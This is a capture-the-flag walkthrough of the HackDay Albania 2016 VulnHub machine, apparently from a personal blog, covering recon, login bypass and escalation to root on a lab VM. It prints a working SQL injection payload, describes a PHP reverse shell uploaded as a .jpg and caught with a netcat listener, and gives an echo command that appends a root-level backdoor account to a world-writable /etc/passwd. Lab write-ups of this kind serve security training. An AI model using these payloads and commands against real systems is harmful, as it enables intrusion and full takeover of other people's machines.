The Challenge

This was the CTF challenge used at HackDay Albania 2016.  The goal is to get root and capture the flag.

The Fun

To get started with recon an nmap scan is what the doc ordered.

root@KaiZen:~/vulnhub/HackDay-Albania/40489# nmap 10.0.2.51 

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 13:32 EST 
Nmap scan report for 10.0.2.51 
Host is up (0.00024s latency). 
Not shown: 998 closed ports 
PORT STATE SERVICE 
22/tcp open ssh 
8008/tcp open http 
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC) 

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

Hmm, ssh and a web server on a non-standard port. Let’s use nmap and probe a bit further into that web server.

root@KaiZen:~/vulnhub/HackDay-Albania/40489# nmap -p 8008 --script http-enum 10.0.2.51 

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 13:33 EST 
Nmap scan report for 10.0.2.51 
Host is up (0.00020s latency). 
PORT STATE SERVICE 
8008/tcp open http 
| http-enum: 
| /robots.txt: Robots file 
|_ /js/: Potentially interesting folder 
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC) 

Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds

 

Navigating to the website with a browser I see an error in Albanian

hackdayalbania-idx-err

Translated by Google Translate the error says:

“If I am, I know where to go”

The page source has a comment also in Albanian

<!–OK ok, por jo ketu :)–>

which translated says:

“but not here”

Ok, Mr. Robot and his cheeky smirk means that the robots.txt file is the rabbit hole I need to follow. Speaking of a robots.txt file, it’s like telling a kid “Don’t touch that!” of course the kid touches that! What do you expect? So let’s see what nmap can tell us about the robots.txt file…

root@KaiZen:~# nmap 10.0.2.51 -p8008 -sV --script http-robots.txt

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 13:34 EST
Nmap scan report for 10.0.2.51
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 26 disallowed entries (15 shown)
| /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ 
| /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ 
| /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ 
|_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

Ok, ok, well, well, Mr sneaky here is performing some obfuscation. And it looks like someone is a fan of Billy Madison “Extenuating, “exschmenuating”. We had a deal.”.

I fired up OWASP-ZAP to assess the application in more detail and to parse the robots.txt file because doing it manually is no fun.

In one of the directories was a clue that leads to another folder.

zap-spider

Following this rabbit hole I come to a login page. My first thoughts are to use SQLi to bypass the login. Go with your gut kid, is what my pappy always said. This time my gut was right. It was probably that hoagie I ate last night, whatever it was, it was right!

First I test the login page to capture the login method which is a post that sends an username and password.

zap-post
The first test I use a single quote to see if I get a helpful error message.

Testing the username field yields an interesting error…

Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102

When I send a SQLi that doesn’t cause an error I get a failed login message.

zap-sqli-w

Using the ZAP resend feature I try a bunch of SQLi manually since sqlmap was of no help. When I send a properly formatted SQLi I get a Content-Length back of 732. This makes testing easier since I don’t need to scroll down to see if testing was successful.

zap-sqli-w732

After a few tries and combinations I found a SQLi that returned a Content-Length much larger than 732. Sure enough the SQLi worked and I was logged in as the first account.

zap-sqli-s1897

The working SQLi was a single quote in the username field and then ‘ or ‘1’=’1′;# in the password field.

zap-sqli-s

Now that I found the SQLi that works, I login to the application.

The application allows the user to upload a file as part of a trouble ticketing system.

I first try to upload a php reverse shell but it looks like the application allows only images to be uploaded.

vulnbnk-hacker-error

To get by this restriction I simply added the .jpg extension to the end of the file name of the php reverse shell and the file was successfully uploaded.

ticket-win.jpg

Now that I had the php reverse shell uploaded, I launch a netcat listener on my attacking machine…

root@KaiZen:~/vulnhub/HackDay-Albania# nc -nlvp 1234 
listening on [any] 1234 ...

When I open the ticket the php reverse shell is launched automatically and now I have a shell.

haxy-ticket.jpg

root@KaiZen:~/vulnhub/HackDay-Albania# nc -nlvp 1234 
listening on [any] 1234 ... 
connect to [10.0.2.44] from (UNKNOWN) [10.0.2.51] 60178 
Linux hackday 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 24 19:39:52 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 
 20:11:19 up 5:39, 0 users, load average: 1.05, 1.08, 1.03 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
uid=33(www-data) gid=33(www-data) groups=33(www-data) 
/bin/sh: 0: can't access tty; job control turned off 
$

Now that I have a low privileged user as “www-data”, I need to find a way to escalate. I tried the normal basic escalation enumeration steps recommend by G0tmi1k. Nothing jumped out at me (although it should have) I decided to give the LinEnum shell script a shot.

I’ll admit, I over thought this one. I spent too much time looking for path vulnerabilities, mis-configured cron jobs, vulnerable services, SUID/GUID files and kernel exploits. I had to take a step back, reset and look for something more obvious.

When I ran LinEnum.sh I noticed that /etc/passwd was world writable.

linenum-passwd

Also, LinEnum told me the hash type used for storing passwords.

linenum-512

This looked unusual so I figured that this must be the way I can escalate.
I decided to add an user account manually into /etc/passwd. To do this I needed to create a hashed password to reaplace column 2 of the /etc/passwd file. Normally the second column is an x,*,or,!. I used mkpasswd with a SHA512 hash…

root@KaiZen:~/vulnhub/HackDay-Albania# mkpasswd -m sha-512 pwn 

Then I added the account to /etc/password storing the SHA-512 hash in the passwd file and giving the new account UID0 and GID0.

echo 'haxy:$6$ZSilPwLm63OxcZ$V.qx9BNPaxRf12DioUjy7.UjIOjPDJapGLxIiaSVssqytitJtmzs9DWYAOu5zWIdu/EqmpdLYPktW5XlRgFPG.:0:0:haxy,,,:/home/taviso:/bin/bash' &gt;&gt; /etc/passwd

When attempting so su to the new user I get an error since my shell doesn’t have job control or something.

$ su haxy
su: must be run from a terminal

There’s probably a simple way around this but I decided to create a meterpreter binary using msfvenom with a metasploit listener then drop into a shell.

When in a shell session spawned from meterpreter I ran su again and bob’s your uncle I got root!

$ su haxy
Password: pwn

bash: cannot set terminal process group (1180): Inappropriate ioctl for device
bash: no job control in this shell
root@hackday:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

With root obtained, I needed to find the flag in order to complete this challenge.

The flag was sitting at /root/flag.txt

root@hackday:/tmp# cat /root/flag.txt
Urime,
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5

Translated the above says:

Congratulations, Now begins the report!

Final Thoughts

This challenge was pretty straight forward and its difficulty was in its simplicity. I want to give a big thanks to @r_73en for the challenge and the @VulnHub folks for providing this service that keeps me trying harder.

Resources:

Advertisements